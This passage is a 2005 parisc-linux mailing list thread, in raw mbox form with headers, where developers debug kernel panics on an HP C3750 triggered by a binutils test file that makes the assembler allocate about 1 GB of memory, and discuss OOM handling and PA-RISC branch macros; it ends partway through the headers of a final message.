Date: Sun, 29 May 2005 13:45:39 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <200505291745.j4THjd8G029023@hiauly1.hia.nrc.ca>
References: <42999A30.6070602@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623793 14678 80.91.229.3 (22 Nov 2014 02:36:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 May 2005 17:45:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 29 May 2005 19:45:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B74287D646;
	Sun, 29 May 2005 11:45:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06784-07; Sun, 29 May 2005 11:45:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B94A7D647;
	Sun, 29 May 2005 11:45:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 84DFF7D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 11:45:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06711-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 11:45:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id EC2627D635
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 11:45:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j4THjenV029026; Sun, 29 May 2005 13:45:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j4THjd8G029023;
	Sun, 29 May 2005 13:45:39 -0400 (EDT)
In-Reply-To: <42999A30.6070602@tiscali.be> from "Joel Soete" at May 29,
	2005 10:32:16 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gJrrYrIieSEkQL6WZHQhaXN1IGRvb0Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22742

> John David Anglin wrote:
> > I can panic my c3750 very consistently running the binutils testsuite
> > (cvs source as of 20050526).
> mmm the experimental debian bintuils-2.16 seems to works fine for me (kernel 2.6.8.1-pa11 32bit on a b180).

I'm 95% certain that it's this assembler file that causes the crash:

	.data

foo:
	.block
bar:
        .block 0x3fffffff
com:

This causes the allocation of ~ 1GB of memory by the assembler.  My c3k
has 1GB of memory but the swap is only 512MB.  There aren't any limits
on this allocation (ulimit -a).  The assembler is using obstacks which
I believe use malloc for the allocation.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Sun, 29 May 2005 16:49:59 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200505292049.j4TKnx3d001476@hiauly1.hia.nrc.ca>
References: <429A0B7C.3020003@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623793 14680 80.91.229.3 (22 Nov 2014 02:36:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 May 2005 20:50:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 29 May 2005 22:50:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFB457D65A;
	Sun, 29 May 2005 14:50:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07456-05; Sun, 29 May 2005 14:50:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBDB57D652;
	Sun, 29 May 2005 14:50:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B0BC7D64D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 14:50:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07456-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 14:50:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E9B8B7D64C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 14:50:01 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j4TKo0nV001477; Sun, 29 May 2005 16:50:00 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j4TKnx3d001476;
	Sun, 29 May 2005 16:49:59 -0400 (EDT)
In-Reply-To: <429A0B7C.3020003@tiscali.be> from "Joel Soete" at May 29,
	2005 06:35:40 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WU7oYoEEeSEkbr6WZHQhaXN1IGRvb4CR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22743

>  > /usr/lib/crtn.o  -Wl,-O1 -Wl,-soname -Wl,libgcj.so.6 -o .libs/libgcj.so.6.0.0
>  > collect2: ld terminated with signal 15 [Terminated]

> Obviously this was solved by simply adding some more swap space (without panic):

No, I've not encountered this but the libgcj link is a large one, so running
out of swap space isn't unexpected.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Sun, 29 May 2005 18:08:28 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20050529220827.GF749@baldric.uwo.ca>
References: <200505290141.j4T1ffhI006449@hiauly1.hia.nrc.ca>
	<200505290150.j4T1odcQ006573@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623793 14684 80.91.229.3 (22 Nov 2014 02:36:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 May 2005 22:08:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 30 May 2005 00:08:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8FF947D660;
	Sun, 29 May 2005 16:08:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07755-07; Sun, 29 May 2005 16:08:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF2E67D65A;
	Sun, 29 May 2005 16:08:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E28577D652
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 16:08:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07755-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 16:08:36 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 66B777D651
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 16:08:36 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DcVxM-0001O1-00; Sun, 29 May 2005 18:08:28 -0400
Content-Disposition: inline
In-Reply-To: <200505290150.j4T1odcQ006573@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (60% Sync Ratio [======....])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: J1joYi1VeSEkQr6WZHQhaXN1IGRvb0CW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22744

On Sat, May 28, 2005 at 09:50:38PM -0400, John David Anglin wrote:
> > I can panic my c3750 very consistently running the binutils testsuite
> > (cvs source as of 20050526).  I've tried many of the default kernels
> > to see if I could isolate when the problem was introduced.  The last
> > kernel that seems unaffected is 2.6.8.1-pa11.  The problem is present
> > in 2.6.12-rc5-pa0 and 2.6.11-pa4.
> 
> Hmmm, just noticed that as-new may be using all of the machines memory
> and swap space.

Neither of these situations should kill the kernel.
Why doesn't OOM kill the process?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Sun, 29 May 2005 19:39:54 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200505292339.j4TNdtYu026757@hiauly1.hia.nrc.ca>
References: <20050529220827.GF749@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623794 14688 80.91.229.3 (22 Nov 2014 02:36:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 May 2005 23:40:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 30 May 2005 01:40:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 62EB47D659;
	Sun, 29 May 2005 17:40:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08061-08; Sun, 29 May 2005 17:40:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD2907D65A;
	Sun, 29 May 2005 17:40:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35F7B7D652
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 17:40:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08213-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 17:40:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9D99B7D651
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 17:40:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j4TNdtnV026758; Sun, 29 May 2005 19:39:56 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j4TNdtYu026757;
	Sun, 29 May 2005 19:39:55 -0400 (EDT)
In-Reply-To: <20050529220827.GF749@baldric.uwo.ca> from "Carlos O'Donell" at
	May 29, 2005 06:08:28 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VzboYskyeSEkSb6WZHQhaXN1IGRvb4Ce
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22745

> On Sat, May 28, 2005 at 09:50:38PM -0400, John David Anglin wrote:
> > > I can panic my c3750 very consistently running the binutils testsuite
> > > (cvs source as of 20050526).  I've tried many of the default kernels
> > > to see if I could isolate when the problem was introduced.  The last
> > > kernel that seems unaffected is 2.6.8.1-pa11.  The problem is present
> > > in 2.6.12-rc5-pa0 and 2.6.11-pa4.
> > 
> > Hmmm, just noticed that as-new may be using all of the machines memory
> > and swap space.
> 
> Neither of these situations should kill the kernel.
> Why doesn't OOM kill the process?

I agree but we don't get any error messages, so it's hard to tell.

I can avoid the problem with ulimit -v.  However, this doesn't fix
all the stability problems.  I've had two kernel hangs since.  r2
is pointing to the return of the call to getname near the beginning
of sys_rmdir.  The IIA Offset addresses in the TOC dump point into
the fault_vector_20 jump table.  One was here:

	b,l <intr_save>,r0
==>	ldi 9, r8

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Sun, 29 May 2005 18:13:18 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20050530011318.GE3050@tausq.org>
References: <200505290141.j4T1ffhI006449@hiauly1.hia.nrc.ca>
	<42999A30.6070602@tiscali.be> <4299F8C2.2060400@tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623794 14690 80.91.229.3 (22 Nov 2014 02:36:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:34 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 May 2005 01:13:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 30 May 2005 03:13:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 301B17D660;
	Sun, 29 May 2005 19:13:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08573-06; Sun, 29 May 2005 19:13:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E05A7D661;
	Sun, 29 May 2005 19:13:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 982C77D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 19:13:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08213-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 19:13:22 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 165737D659
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 May 2005 19:13:22 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id C3EEE43816; Sun, 29 May 2005 18:13:18 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <4299F8C2.2060400@tiscali.be>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7Q3oYm1keSEkQb6WZHQhaXN1IGRvbwCX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22746

> #ifndef CONFIG_64BIT
>         .macro fixup_branch,lbl
>         b           \lbl
>         .endm
> #else
>         .macro fixup_branch,lbl
>         ldil        L%\lbl, %r1
>         ldo         R%\lbl(%r1), %r1
>         bv,n        %r0(%r1)
>         .endm
> #endif

These two do the same thing. The 32-bit version is simpler because we
can rely on the linker to do fixups for us if the branch is too far
away. The 64-bit version always uses a long branch sequence to avoid
stub issues with the 64-bit toolchain. In the C code I have simply not
done this (micro-)optimization.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Tue, 31 May 2005 07:41:49 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <4282FEEE0000724C@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623794 14692 80.91.229.3 (22 Nov 2014 02:36:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:34 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 May 2005 05:42:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 31 May 2005 07:42:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66C6E7D654;
	Mon, 30 May 2005 23:42:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14341-07; Mon, 30 May 2005 23:42:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEAE47D656;
